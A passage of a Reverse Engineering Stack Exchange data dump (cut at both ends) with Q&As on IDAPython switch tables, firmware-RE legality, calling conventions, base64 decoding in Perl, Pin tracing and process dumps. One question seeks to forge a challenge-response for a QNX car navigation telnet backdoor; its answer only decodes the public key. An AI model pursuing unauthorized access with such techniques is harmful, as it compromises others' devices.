   f.seek(48)\n    f.write(pack('h', e_shnum))\n</code></pre>\n</blockquote>\n"
    },
    {
        "Id": "12317",
        "CreationDate": "2016-04-01T17:50:57.500",
        "Body": "<p>I want to identify the jump statements due to switch/case in an IDA Pro disassembled binary. My ultimate goal is to read the jump table entries. I am also interested in function table/vtables. For switch/case, I see the jump statements as:</p>\n\n<ol>\n<li><p><code>jmp  ds:off_20B280CC[ebx*4]</code></p></li>\n<li><p><code>jmp  dword ptr ds:loc_6B2A825C[ecx*4]</code> [Q: Is it due to switch/jump?]</p></li>\n</ol>\n\n<p>The operand types of these jumps, as I see from <code>GetOperandValue(inst.ea, 0)</code>, are \"Memory Reference\" (type value 2). The jump statements like <code>jb short loc_6B2A8154</code> has operand type \"Immediate Near Address\" (type value 7). However, the jump statements like <code>jmp ds:__imp_memset</code> in the thunk functions to call imported functions also have the operand type \"Memory Reference\". </p>\n\n<p>Is there any way I can distinguish between jump statements for switch/case and thunk functions? </p>\n",
        "Title": "Identify Jump Statements due to Switch/Case in IDA Pro",
        "Tags": "|disassembly|idapython|",
        "Answer": "<p>In many cases, IDA already knows that a jump is part of a jump-table and probably the result of a switch. When this is true, you can access it using IDAPython.</p>\n\n<p>The relevant functions are <code>get_switch_info_ex(ea)</code> and <code>get_switch_info_ex(ea)</code>.\nLooking in <a href=\"https://www.hex-rays.com/products/ida/support/idapython_docs/ida_xref-module.html#calc_switch_cases\" rel=\"nofollow\">IDAPython's documentation</a>, we find:</p>\n\n<blockquote>\n  <p>calc_switch_cases(insn_ea, py_swi)</p>\n  \n  <p>Get information about a switch's cases.</p>\n  \n  <p>The returned information can be used as follows:</p>\n\n<pre><code>for idx in xrange(len(results.cases)):\n    cur_case = results.cases[idx]\n    for cidx in xrange(len(cur_case)):\n        print \"case: %d\" % cur_case[cidx]\n    print \"  goto 0x%x\" % results.targets[idx]\n</code></pre>\n  \n  <p>@param insn_ea: address of the 'indirect jump' instruction @param si:\n  switch information</p>\n  \n  <p>@return: a structure with 2 members: 'cases', and 'targets'.</p>\n  \n  <p>Returns: cases_and_targets_t</p>\n</blockquote>\n\n<p>To get the <code>results</code> variable from the example, we use the following code:</p>\n\n<pre><code>si = idaapi.get_switch_info_ex(ea)\nresults = idaapi.calc_switch_cases(ea, si)\nif not results:\n    print \"No switch related jump at 0x{:X}\".format(ea)\n</code></pre>\n\n<p>So to check if an instruction is a switch or not, you can use the following function:</p>\n\n<pre><code>def is_switch(ea):\n    si = idaapi.get_switch_info_ex(ea)\n    results = idaapi.calc_switch_cases(ea, si)\n    return bool(results)\n</code></pre>\n\n<p>If you wish to use it, I've written a basic wrapper class for IDA's switch in Sark. <a href=\"https://github.com/tmr232/Sark/blob/master/sark/code/switch.py\" rel=\"nofollow\">See here</a>.</p>\n"
    },
    {
        "Id": "12324",
        "CreationDate": "2016-04-02T14:58:49.997",
        "Body": "<p>Not sure if this is the correct place to post this, but I am having some questions regarding the legality of reverse engineering firmware.</p>\n\n<p>Specifically, I was looking into the Nintendo 3DS firmware. The EULA clearly states:</p>\n\n<blockquote>\n  <p>You may not publish, copy, modify, <strong>reverse engineer</strong>, lease, rent,\n  decompile, or disassemble any portion of the Software, or bypass,\n  modify, defeat, tamper with, or circumvent any of the functions or\n  protections of your Nintendo 3DS, unless otherwise permitted by law.</p>\n  \n  <p>Code of Conduct:</p>\n  \n  <p>To help keep the Network Services friendly and safe for all users, you\n  will not engage in any harmful, illegal, or otherwise offensive\n  conduct, such as:</p>\n  \n  <p>Trying to modify or gain unauthorized access to another person\u2019s\n  Nintendo Device or Network Account or trying to modify, <strong>reverse</strong>\n  <strong>engineer</strong>, or gain unauthorized or automated access to any of\n  Nintendo\u2019s computers, hardware, software, or networks used to provide\n  the Network Services or any feature of a Nintendo Device; </p>\n  \n  <p>Hosting, intercepting, emulating, <strong>reverse engineering</strong>, or redirecting\n  the communication protocols used by Nintendo as part of a Nintendo\n  Device or the Network Services, regardless of the method used to do\n  so; or do anything that might bypass or circumvent measures employed\n  to prevent or limit access to any area, content or code of any\n  Nintendo Device or Network Services (except as otherwise expressly\n  permitted by law);</p>\n</blockquote>\n\n<p>And yet you see blog posts like these: <a href=\"http://gaasedelen.blogspot.ca/2014/03/depackaging-nintendo-3ds-cpu.html\">http://gaasedelen.blogspot.ca/2014/03/depackaging-nintendo-3ds-cpu.html</a></p>\n\n<p>My question is, what are the legal implications of reverse engineering the 3DS firmware and posting your finding in a blog post?</p>\n",
        "Title": "Legality of reverse engineering firmware",
        "Tags": "|firmware|",
        "Answer": "<p>This depends on a multitude oft things, especially your location, and you should really ask a lawyer. If Nintendo sues you, \"a random guy in the internet said it was ok\" won't help you anything; your lawyer can at least help you in court and should have insurance to cover up if things really go wrong.</p>\n\n<p>There are limits to what an EULA can forbid you to do. But this depends a lot in your location. In the US, EULAs <em>tend</em> to overrule rights that laws give you, in EU, law <em>tends</em> to overrule EULAs. There is an EU directive that, greatly simplified, says you are allowed to reverse engineer stuff if you want to interface it with other stuff and the manufacturer doesn't give you neccesary documentation.</p>\n\n<p>This is sometimes misinterpreted to mean \"as long as you live in the EU, reverse engineering is ok\". <strong>This is wrong</strong>. A EU directive is not comparable to US federal law; it just means the individual states have to pass laws with a general content. They have considerable leeway in doing so, and sometimes, EU directives don't get turned into national law at all. So what might be ok in one state might not be in another one. Or, you might be required to prove you asked for documentation and were refused before you reverse engineered anything.</p>\n\n<p>And even the existance of a blog post does not mean the blogger isn't breaking any laws. Nintendo might just not know about the post, or not care, or not want to draw the attention a lawsuit means. This doesn't mean they won't sue you.</p>\n\n<p>And of course, you may be doing something that turns out to be legal after a 3 year lawsuit that cost you several dozen thousand dollars. Companies have far greater resources than you do; winning your case in the end can still mean lots of trouble in the first place.</p>\n\n<p>So, any advice you can get on the internet will be bad advice. Don't take it. Ask someone who can take into account the specifics of your situation, and whom you can hold responsible in the case of bad advice.</p>\n"
    },
    {
        "Id": "12336",
        "CreationDate": "2016-04-04T11:29:55.843",
        "Body": "<p>Reverse engineering a kernel mode driver (in its 32-bit x86 incarnation) I stumbled over what seems to be an odd <a href=\"https://en.wikipedia.org/wiki/X86_calling_conventions\" rel=\"nofollow\">calling convention</a>. For a driver I'd expect to see <code>__cdecl</code>, <code>__fastcall</code> and <code>__stdcall</code> in the Microsoft flavor. And since this driver obviously uses its own C++ runtime I'll expect to see <code>__thiscall</code> as well.</p>\n\n<p>However, in this driver I see functions that are passed their first argument in <code>eax</code>. This is completely unexpected, so I am wondering if anyone here has an idea what could be going on?</p>\n\n<pre><code>sub_40XXXX      proc near\n    push    ebx\n    push    esi\n    mov     esi, eax\n    push    edi\n    xor     edi, edi\n</code></pre>\n\n<p>Frame pointer omission doesn't seem like a credible cause for what I am seeing. Is this a bad case of LTCG?</p>\n\n<hr>\n\n<p>The driver in question is a file system mini filter driver and from the looks of it I'd guess it was linked by the linker in the Windows 7 WDK (although I cannot really say which <em>exact</em> version, e.g. <code>7600.16385.1</code> or another). Linker version states <code>9.00</code> in the PE optional header. Subsystem version is 5.00 which would indicate that it was built to target Windows 2000. It also suggests that the subsystem was passed explicitly, since the Vista WDKs were the last ones to support targeting Windows 2000. Of course this could also have been built using VS 2008, hard to tell (the standalone WDKs used to include the same optimizing compilers as VS). For all I know it could also be a mix of compilers and linkers from different toolchains. But given that the linker needs to know about calling conventions, I'm still expecting to see <em>some</em> standard calling convention.</p>\n\n<p>Here are the clues for the driver in question (trimmed down version of <code>dumpbin /headers ...</code> output):</p>\n\n<pre><code>        9.00 linker version\n        1000 section alignment\n         200 file alignment\n        5.00 operating system version\n        0.00 image version\n        5.00 subsystem version\n</code></pre>\n\n<hr>\n\n<p>The standard calling convention for drivers is <code>__stdcall</code>. But to verify that <code>__fastcall</code> doesn't indeed use <code>eax</code> as I see in the other driver, I decided to create a little driver. In order to prevent the compiler or linker to optimize out my function calls, I messed up some variables subsequently passed to <code>IoCreateSymbolicLink</code>.</p>\n\n<p>The C++ code for the respective two functions is:</p>\n\n<pre><code>UINT_PTR __fastcall fastcall_test(UINT_PTR arg1, UINT_PTR arg2)\n{\n    UINT_PTR ret = arg1 + arg2;\n    DbgPrint(\"%u, %u -&gt; %u\", arg1, arg2, ret);\n    return ret;\n}\n\nUINT_PTR __stdcall stdcall_test(UINT_PTR arg1, UINT_PTR arg2)\n{\n    UINT_PTR ret = arg1 + arg2;\n    DbgPrint(\"%u, %u -&gt; %u\", arg1, arg2, ret);\n    return ret;\n}\n</code></pre>\n\n<p>and they're called as:</p>\n\n<pre><code>UINT_PTR fct = fastcall_test((UINT_PTR)status, RegistryPath-&gt;MaximumLength);\nUINT_PTR sct = stdcall_test((UINT_PTR)status, RegistryPath-&gt;MaximumLength);\n\nusSymlinkName.Buffer += fct;\nusSymlinkName.Length += (USHORT)fct;\nusSymlinkName.Buffer += sct;\nusSymlinkName.MaximumLength += (USHORT)(sct + fct);\n</code></pre>\n\n<p>from <code>DriverEntry</code> between <code>IoCreateDevice</code> and <code>IoCreateSymbolicLink</code> in a default project generated using DDKWizard.</p>\n\n<p>When compiling this targeting Windows XP, the outcome is as follows:</p>\n\n<pre><code>.text:00010512 unsigned int __fastcall fastcall_test(unsigned int, unsigned int) proc near\n.text:00010512                                         ; CODE XREF: DriverEntry(x,x)+41p\n.text:00010512 arg1 = ecx\n.text:00010512 arg2 = edx\n.text:00010512                 mov     edi, edi\n.text:00010514                 push    esi\n.text:00010515                 lea     esi, [arg1+arg2]\n.text:00010518                 push    esi\n.text:00010519                 push    arg2\n.text:0001051A                 push    arg1\n.text:0001051B                 push    offset Format   ; \"%u, %u -&gt; %u\"\n.text:00010520                 call    _DbgPrint\n.text:00010525                 add     esp, 10h\n.text:00010528                 mov     eax, esi\n.text:0001052A                 pop     esi\n.text:0001052B                 retn\n.text:0001052B unsigned int __fastcall fastcall_test(unsigned int, unsigned int) endp\n.text:00010532 unsigned int __stdcall stdcall_test(unsigned int, unsigned int) proc near\n.text:00010532                                         ; CODE XREF: DriverEntry(x,x)+50p\n.text:00010532\n.text:00010532 arg1            = dword ptr  8\n.text:00010532 arg2            = dword ptr  0Ch\n.text:00010532\n.text:00010532                 mov     edi, edi\n.text:00010534                 push    ebp\n.text:00010535                 mov     ebp, esp\n.text:00010537                 mov     eax, [ebp+arg1]\n.text:0001053A                 mov     ecx, [ebp+arg2]\n.text:0001053D                 push    esi\n.text:0001053E                 lea     esi, [eax+ecx]\n.text:00010541                 push    esi\n.text:00010542                 push    ecx\n.text:00010543                 push    eax\n.text:00010544                 push    offset Format   ; \"%u, %u -&gt; %u\"\n.text:00010549                 call    _DbgPrint\n.text:0001054E                 add     esp, 10h\n.text:00010551                 mov     eax, esi\n.text:00010553                 pop     esi\n.text:00010554                 pop     ebp\n.text:00010555                 retn    8\n.text:00010555 unsigned int __stdcall stdcall_test(unsigned int, unsigned int) endp\n</code></pre>\n\n<p>As expected <code>__fastcall</code> ends up passing arguments via <code>ecx</code> and <code>edx</code>. So what's going on with my other driver?</p>\n\n<hr>\n\n<p>Meanwhile I found out how the PE header values could be achieved using a vanilla Windows 7 WDK. This will then yield a binary which is compatible with Windows 2000, assuming you build for x86, and contain these exact values (and of course assuming you don't do stupid things like statically importing DDIs only available <em>after</em> Windows 2000).</p>\n\n<h3>In <code>sources</code> specify ...</h3>\n\n<pre><code>USE_MAKEFILE_INC=1\nSUBSYSTEM_VERSION=$(SUBSYSTEM_500)\n# Alternatively:\n#SUBSYSTEM_VERSION=5.00\n</code></pre>\n\n<p>which will force <code>nmake</code> to include <code>makefile.inc</code> from the same location as the <code>sources</code> file and set the <code>SUBSYSTEM_VERSION</code> correctly (5.00 for x86 and 5.02 for amd64).</p>\n\n<h3>Then in <code>makefile.inc</code> override</h3>\n\n<pre><code>LINKER_APP_VERSION=0.00\nLINKER_OS_VERSION=$(SUBSYSTEM_VERSION)\n</code></pre>\n\n<p>which works because <code>makefile.inc</code> gets included quite late from <code>makefile.new</code> and therefore we can use it to override the defaults specified by the default build environment.</p>\n",
        "Title": "Confused about calling convention in a Windows kernel mode driver",
        "Tags": "|windows|driver|calling-conventions|",
        "Answer": "<p>Most likely it's just LTCG/LTO, especially if the function in question is only never called externally. Using it can <a href=\"https://msdn.microsoft.com/en-us/library/xbf3tbeh.aspx\" rel=\"nofollow\">result in the following</a>:</p>\n\n<ul>\n<li><p>Cross-module inlining</p></li>\n<li><p>Interprocedural register allocation (64-bit operating systems only)</p></li>\n<li><p><strong>Custom calling convention (x86 only)</strong></p></li>\n<li><p>Small TLS displacement (x86 only)</p></li>\n<li><p>Stack double alignment (x86 only)</p></li>\n<li><p>Improved memory disambiguation (better interference information for\nglobal variables and input parameters)</p></li>\n</ul>\n"
    },
    {
        "Id": "12341",
        "CreationDate": "2016-04-04T18:51:28.297",
        "Body": "<p>I didn't know where to ask this; I hope it's in the proper place. </p>\n\n<p>My wife just bought one of these mobile credit card processing devices for her phone and I was curious as to why these devices use TRRS instead of the Micro USB connection. </p>\n\n<p>Could it be as simple as a more stable, physical, attachment to the frame of the phone? </p>\n",
        "Title": "Why do Mobile Credit Card Devices use the TRRS connection instead of the Micro USB?",
        "Tags": "|hardware|",
        "Answer": "<p>Probably because many mobile devices don't have micro-USB ports, but almost all of them (iPhones, iPads, Android phones, etc.) have headset (TRRS) jacks.</p>\n\n<p>This allows the mobile credit card processing company to make a single hardware device that will work with all of these mobile devices.</p>\n"
    },
    {
        "Id": "12343",
        "CreationDate": "2016-04-04T20:33:14.383",
        "Body": "<p>I am working on reverse engineering an encoding.</p>\n\n<p>A number between -12 and 12, with 2 decimals is encoded using an unknown method, and the result is a pair of strings as follows:</p>\n\n<pre><code>value   string1     string2\n  0     AAAAAAAAAA  AAAAAAAA\n  0.01  AAAAB7FK5H  4XqEPwAA\n  0.02  AAAAB7FK5H  4XqUPwAA\n  0.03  AAAAC4HoXr  UbiePwAA\n  1     EAAAAAAAAA  AADwPwAA\n  2     IAAAAAAAAA  AAAAQAAA\n  3     MAAAAAAAAA  AAAIQAAA\n  4     QAAAAAAAAA  AAAQQAAA\n  5     UAAAAAAAAA  AAAUQAAA\n  6     YAAAAAAAAA  AAAYQAAA\n  7     cAAAAAAAAA  AAAcQAAA\n  8     gAAAAAAAAA  AAAgQAAA\n  9     kAAAAAAAAA  AAAiQAAA\n 10     oAAAAAAAAA  AAAkQAAA\n 11     sAAAAAAAAA  AAAmQAAA\n 12     wAAAAAAAAA  AAAoQAAA\n-12     T///8AAAAA  AAAowAAA\n- 1     ////8AAAAA  AADwvwAA\n- 0.64  ////97FK5H  4XrkvwAA\n  2.01  IAAAAUrkfh  ehQAQAAA\n</code></pre>\n\n<p>(any additional samples can be provided upon request)</p>\n\n<p>Obviously, I would like to determine the algorithm used to do this conversion.</p>\n\n<p>My research indicates it MIGHT have to do with base64 encoding, and the alphabet used is \nABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/</p>\n\n<p>A=0 B=1 ... /=63</p>\n\n<p>For instance, the first column, translated to decimal, then divided by 4 \n(discarding the remainder), gives the \"integer\" part of the value, when \nthe value is positive, or 16-value, when negative.</p>\n\n<p>I had lass luck with the decimal part, I just don't have the knowledge. </p>\n\n<p>If anyone can give me a hint or a solution, it would be immensely appreciated.</p>\n\n<p>I am a photographer with basic math and programming knowledge, and this would be the central piece needed to complete a script that will optimize my workflow, that now requires for me to manually read, compute (excel) and write those values back (in decimal).</p>\n\n<p>Thank you.</p>\n",
        "Title": "Reverse engineering a base64 encoded number",
        "Tags": "|encodings|",
        "Answer": "<p>Building on @ebux's answer:</p>\n\n<p>The first 4 bytes is the integral part of the number, encoded in a slightly weird way .. the UPPER nibble of the first byte is the number itself. The other 5 nibbles are 0 for positive, f for negative numbers in the \"usual\" way.</p>\n\n<p>The rest of the strings are, like @ebux said, the float part of the value, in IEEE format, but when encoding/decoding them, you have to add/remove two \\0 bytes to the binary string.</p>\n\n<p>This perl program will decode a file containing your examples:</p>\n\n<pre><code>#!/usr/bin/perl\n\nuse MIME::Base64 qw(decode_base64 encode_base64);\nwhile (&lt;&gt;) {\n    chomp;\n    y/\\r//d;\n    s/- /-/;\n    s/^\\s+//;\n    ($a, $b, $c)=split();\n    $a2=decode_base64(substr($b, 0, 4));\n    $b2=substr(decode_base64(substr($b, 2)), 2);\n    $c2=substr(decode_base64($c), 0, 4);\n    printf(\"%10s\", $a);\n    print \"\\t\"; printhex($a2); \n    print \"\\t\"; printhex($b2); \n    print \"\\t\"; printhex($c2);\n    print \"\\t\"; printint($a2);\n    print \"\\t\"; printdbl($b2.$c2);\n    print \"\\n\";\n}\n\nsub printhex {\n    my $str=shift;\n    for ($i=0; $i&lt;length($str); $i++) {\n        printf(\"%02x.\", ord(substr($str, $i, 1)));\n    }\n}\n\nsub printint {\n    my $str=shift;\n    my $val=ord(substr($str, 0, 1))&gt;&gt;4;\n    $val-=16 if (substr($str, 1, 1) eq \"\\xff\");\n    printf(\"%5d\", $val);\n}\n\nsub printdbl {\n    my $str=shift;\n    my $val=unpack(\"d\", $str);\n    printf(\"%10.4f\", $val);\n}\n</code></pre>\n\n<p>Output (column order is your column, 3 columns of hex bytes derived from the base64 strings, integer value derived from col1, float value from col2/3):</p>\n\n<pre><code>  2.01  20.00.00.   14.ae.47.e1.    7a.14.00.40.        2       2.0100\n     0  00.00.00.   00.00.00.00.    00.00.00.00.        0       0.0000\n  0.01  00.00.00.   7b.14.ae.47.    e1.7a.84.3f.        0       0.0100\n  0.02  00.00.00.   7b.14.ae.47.    e1.7a.94.3f.        0       0.0200\n  0.03  00.00.00.   b8.1e.85.eb.    51.b8.9e.3f.        0       0.0300\n     1  10.00.00.   00.00.00.00.    00.00.f0.3f.        1       1.0000\n     2  20.00.00.   00.00.00.00.    00.00.00.40.        2       2.0000\n     3  30.00.00.   00.00.00.00.    00.00.08.40.        3       3.0000\n     4  40.00.00.   00.00.00.00.    00.00.10.40.        4       4.0000\n     5  50.00.00.   00.00.00.00.    00.00.14.40.        5       5.0000\n     6  60.00.00.   00.00.00.00.    00.00.18.40.        6       6.0000\n     7  70.00.00.   00.00.00.00.    00.00.1c.40.        7       7.0000\n     8  80.00.00.   00.00.00.00.    00.00.20.40.        8       8.0000\n     9  90.00.00.   00.00.00.00.    00.00.22.40.        9       9.0000\n    10  a0.00.00.   00.00.00.00.    00.00.24.40.       10      10.0000\n    11  b0.00.00.   00.00.00.00.    00.00.26.40.       11      11.0000\n    12  c0.00.00.   00.00.00.00.    00.00.28.40.       12      12.0000\n   -12  4f.ff.ff.   00.00.00.00.    00.00.28.c0.      -12     -12.0000\n    -1  ff.ff.ff.   00.00.00.00.    00.00.f0.bf.       -1      -1.0000\n -0.64  ff.ff.ff.   7b.14.ae.47.    e1.7a.e4.bf.       -1      -0.6400\n  2.01  20.00.00.   14.ae.47.e1.    7a.14.00.40.        2       2.0100\n</code></pre>\n\n<p>This program converts one or multiple numbers to your format:</p>\n\n<pre><code>#!/usr/bin/perl\n\nuse MIME::Base64 qw(decode_base64 encode_base64);\n\nforeach $a (@ARGV) {\n    print $a;\n    my $intpart=($a &amp; 0x0f) &lt;&lt; 4;\n    if ($a&lt;0) {\n        $intpart|=0xffffff0f;\n    }\n    my $part1=encode_base64(pack(\"l\", $intpart)); chomp $part1;\n    # print \"\\t\", $part1;\n\n    my $temp=encode_base64(\"\\x00\\x00\".pack(\"d\", $a)); chomp $temp;\n    # print \"\\t\", $temp;\n\n    my $part2=substr($part1, 0, 4).substr($temp, 2, 6);\n    print \"\\t\", $part2;\n\n    my $part3=substr($temp, 8, 6).\"AA\";\n    print \"\\t\", $part3;\n\n    print \"\\n\";\n}\n</code></pre>\n\n<p>Example:</p>\n\n<pre><code>$ perl encode.pl 0.01 0.02 0.03  2.01 0 11 12 -12 -1 \n0.01    AAAAB7FK5H  4XqEPwAA\n0.02    AAAAB7FK5H  4XqUPwAA\n0.03    AAAAC4HoXr  UbiePwAA\n2.01    IAAAAUrkfh  ehQAQAAA\n0       AAAAAAAAAA  AAAAAAAA\n11      sAAAAAAAAA  AAAmQAAA\n12      wAAAAAAAAA  AAAoQAAA\n-12     T///AAAAAA  AAAowAAA\n-1      ////AAAAAA  AADwvwAA\n</code></pre>\n\n<p>And here's a link to all numbers from -12 to 12: </p>\n\n<p><a href=\"https://mega.nz/#!BVpWgBiI!aPbtMmMYnLgUUn011Cl5qjA5OO6TpKG8CSTIhR7Re0E\" rel=\"nofollow\">https://mega.nz/#!BVpWgBiI!aPbtMmMYnLgUUn011Cl5qjA5OO6TpKG8CSTIhR7Re0E</a></p>\n"
    },
    {
        "Id": "12348",
        "CreationDate": "2016-04-05T12:47:11.530",
        "Body": "<p>I am trying to analyze some execution crash information, and to better identify the root cause of memory access error, I would like to <code>reverse execute</code> the program from the crash point. </p>\n\n<p>For example, to identify the root cause of memory access error below, I would like to reversely execute from the third line, and by leveraging some data flow analysis techniques, I should be able to identify the root cause at the first line.</p>\n\n<pre><code>mov    -0x18(%rbp),%rax       &lt;---- root cause is at memory -0x18(%rbp)\nadd    %rdx,%rax\nmov    (%rax),%eax            &lt;--- crash when reading (%rax)\n</code></pre>\n\n<p>So here is my question, is there any dynamic analysis tool/debugger that can support reverse execution? I prefer <code>Pin</code>, but I am not aware that <code>Pin</code> can do this.. </p>\n",
        "Title": "Dynamic instrumentation tools which support reverse execution",
        "Tags": "|binary-analysis|dynamic-analysis|",
        "Answer": "<p>If you have access to IDA, you can use the <a href=\"https://www.hex-rays.com/products/ida/support/tutorials/replayer/trace_replayer.pdf\" rel=\"nofollow\">trace replayer</a>. It doesn't exactly support reverse execution, but I wrote it with the idea to help in the problem you have: check why a crash happened by replaying recorded executions traces. The program is not executing but rather replaying the execution trace, however, in most cases, that is more than enough.</p>\n"
    },
    {
        "Id": "12352",
        "CreationDate": "2016-04-05T16:26:45.783",
        "Body": "<p>I am researching an QNX ARM based car navigation and it seems this system has a backdoor that enables telnet access without password to the system if a challenge/response succeeds. </p>\n\n<p>When a file called <code>challenge</code> is placed on a USB key and inserted in the system it will write some bytes in it. Here are a few examples:\neaxj2ABs4BeMQqQJamOH?smOCVEC\nKKUcw5m:vvJXmCIK3SBDDqv9p:Or\nodlwY@ed6B?8OKCmaqIDdFz7YSnv\nBBqGoWKocmAuvSDacMAkZ:83:QVq</p>\n\n<p>I found the ELF file that handles the challenge/response in the firmware (can share this upon request) and it reads a public key file:\n<code>hChallengePub = sub_1030A0((int)\"/ifs/challenge.pub\", &amp;v11, &amp;v13)</code></p>\n\n<p>challenge.pub contains the following bytes:</p>\n\n<pre><code>30 29 03 02 07 00 02 01 0E 02 0F 00 9C 9C A4 5A\nFA 1E 2D 32 2A 93 9D 37 41 93 02 0F 00 95 AB 6B\nDB 94 29 4D C3 C6 07 3B B7 31 40\n</code></pre>\n\n<p>Debug text in the ELF points to source file <code>src/pk/ecc/ecc_import.c</code> which leds me to believe it's an ECC public key but it seems to be incomplete (eg no ASN.1 header).</p>\n\n<p>I want to be able to convert this key into pem format so I can run some tests with openssl so I am looking for pointers how to do this.</p>\n\n<p>Ultimately I'd like to see if I can create proper response and get access but maybe this is impossible if it requires private key (which it should if it's any good).</p>\n",
        "Title": "create pem from ecc signature bytes",
        "Tags": "|encryption|qnx|",
        "Answer": "<p><code>src/pk/ecc/ecc_import.c</code> strongly suggests that it's using LibTomCrypt: <a href=\"https://github.com/libtom/libtomcrypt/blob/develop/src/pk/ecc/ecc_import.c\" rel=\"nofollow\">https://github.com/libtom/libtomcrypt/blob/develop/src/pk/ecc/ecc_import.c</a></p>\n\n<p>The content of <code>challenge.pub</code> appears to be DER-encoded. <a href=\"https://lapo.it/asn1js/#30290302070002010E020F009C9CA45AFA1E2D322A939D374193020F0095AB6BDB94294DC3C6073BB73140\" rel=\"nofollow\">It can be decoded as follows</a>:</p>\n\n<pre><code>SEQUENCE(4 elem)\n    BIT STRING (1 bit) 0\n    INTEGER            14\n    INTEGER (112 bit)  3176466357047968568460177262985619\n    INTEGER (112 bit)  3035660427084515633934604600553792\n</code></pre>\n\n<p>As can be seen in the <code>ecc_import.c</code> code referenced above, this translates to:</p>\n\n<ul>\n<li><code>key-&gt;type</code> = <code>PK_PUBLIC</code></li>\n<li><code>key_size</code> = <code>14</code> bytes</li>\n<li><code>key-&gt;pubkey.x</code> = <code>3176466357047968568460177262985619</code></li>\n<li><code>key-&gt;pubkey.y</code> = <code>3035660427084515633934604600553792</code></li>\n</ul>\n"
    },
    {
        "Id": "12357",
        "CreationDate": "2016-04-06T18:44:26.437",
        "Body": "<p>Up until now I've been performing static analysis using Ida and run time analysis using OllyDBG.</p>\n\n<p>I've identified a function in Olly which I would like to start documenting further in Ida, however I can't seem to find the function in Ida, and the executable doesn't appear to be packed or obfuscated.</p>\n\n<p>What could cause this? (besides user error :p)</p>\n\n<p>I've heard of dumping a process to memory, then performing static analysis on that dump file - would this make sense in the current context?</p>\n\n<p>What differences would there be compared to just looking at the executable? </p>\n\n<p>Does the software used to dump the process effect it's structure - are there different types of process dumps?</p>\n\n<p>How would I actually go about opening the dump file in Ida?</p>\n",
        "Title": "Process Dumping and Ida",
        "Tags": "|ida|memory|dumping|process|",
        "Answer": "<p>If your binary is allocating a new memory page &amp; writing code on it, that's something you won't see on the static binary. Performing a full dump of the process from memory and loading this new binary into IDA will indeed show you those new parts. The data has to come from somewhere though (ressource, compressed, encrypted, another file, Internet, etc).</p>\n\n<p>As you mentioning that the binary appears to be neither packed nor obfuscated, be sure to check you're not just into one of the loaded DLL of your binary (reversing one of the imported DLL might not be what you're willing to do?).</p>\n"
    },
    {
        "Id": "12361",
        "CreationDate": "2016-04-07T13:32:43.437",
        "Body": "<p>If I open the Segments subview in IDA, I can get a list of all of the segments.</p>\n\n<p>I would like to access this list so I can enumerate through all of the segments.</p>\n\n<p>How can I do this with idapython?</p>\n",
        "Title": "idapython: getting a list of all segments",
        "Tags": "|ida|idapython|",
        "Answer": "<p>Try to use the <code>Segments()</code> from <a href=\"https://www.hex-rays.com/products/ida/support/idapython_docs/\" rel=\"noreferrer\">idautils</a>.</p>\n\n<pre><code>from idautils import *\nfrom idc import *\nfrom idaapi import *\n\nfor ea in Segments():\n    print '%x-%x'%(SegStart(ea),SegEnd(ea))\n</code></pre>\n"
    },
    {
        "Id": "12363",
        "CreationDate": "2016-04-07T13:49:00.140",
        "Body": "<p>I am using Intel Pin in order trace memory activity of an executable on Windows. What I have found, that most of the memory operands (Read or Write) operates with 2 or 4 bytes. So I decided to modify original Pin's <em><a href=\"https://software.intel.com/sites/landingpage/pintool/docs/71313/Pin/html/index.html#MAddressTrace\" rel=\"nofollow\">pinatrace</a></em> example, in order to see which Assembly opcodes produces which memory activity.</p>\n\n<pre><code>VOID Instruction(INS ins, VOID *v)\n{\n\n        UINT32 memOperands = INS_MemoryOperandCount(ins);\n        fprintf(trace,\"\\n[%s]\\n\",(INS_Disassemble(ins)).c_str()); \n        for (UINT32 memOp = 0; memOp &lt; memOperands; memOp++)\n        { \n             .....\n</code></pre>\n\n<p>What it basically does (I hope), is just writes disassembled opcode BEFORE the memory operands it produces. But then I looked in the file (W is for write, R is for read):</p>\n\n<blockquote>\n  <p>[test edx, 0x800000]</p>\n  \n  <p>[jnz 0x77708557]</p>\n  \n  <p>[mov dword ptr [ebp-0x4], edi]</p>\n  \n  <p>[test dl, 0x1]</p>\n  \n  <p>[jnz 0x77703136] RWWRWW </p>\n  \n  <p>[lea edi, ptr [ebx+0xcc]]</p>\n  \n  <p>[push dword ptr [edi]]</p>\n  \n  <p>[call 0x77702520] RWW </p>\n  \n  <p>[mov edi, edi]</p>\n  \n  <p>[push ebp]</p>\n  \n  <p>[mov ebp, esp]</p>\n  \n  <p>[mov eax, dword ptr [ebp+0x8]]</p>\n  \n  <p>[mov ecx, dword ptr fs:[0x18]]</p>\n  \n  <p>[lea edx, ptr [eax+0x4]]</p>\n  \n  <p>[lock btr dword ptr [edx], 0x0]</p>\n  \n  <p>[jnb 0x777041dc]</p>\n  \n  <p>[mov ecx, dword ptr [ecx+0x24]]</p>\n  \n  <p>[mov dword ptr [eax+0xc], ecx]</p>\n  \n  <p>[mov dword ptr [eax+0x8], 0x1]</p>\n  \n  <p>[mov eax, 0x1]</p>\n  \n  <p>[pop ebp]</p>\n  \n  <p>[ret 0x4] WRRRWRWWRR</p>\n</blockquote>\n\n<p>As we can see, opcodes that are supposed to work with memory (e.g. <em>mov</em>) do not produce memory operands. While memory traces are connected as blocks after <strong>ret/call/jnz</strong> etc.</p>\n\n<p><strong>Question</strong>: What kind of memory operands does Intel Pin trace? Is it about calls to virtual memory/RAM/CPU registers? Could it be possible, that memory activity goes in blocks due to CPU's pipeline?</p>\n",
        "Title": "Intel Pin memory operations tracking",
        "Tags": "|disassembly|binary-analysis|memory|pintool|",
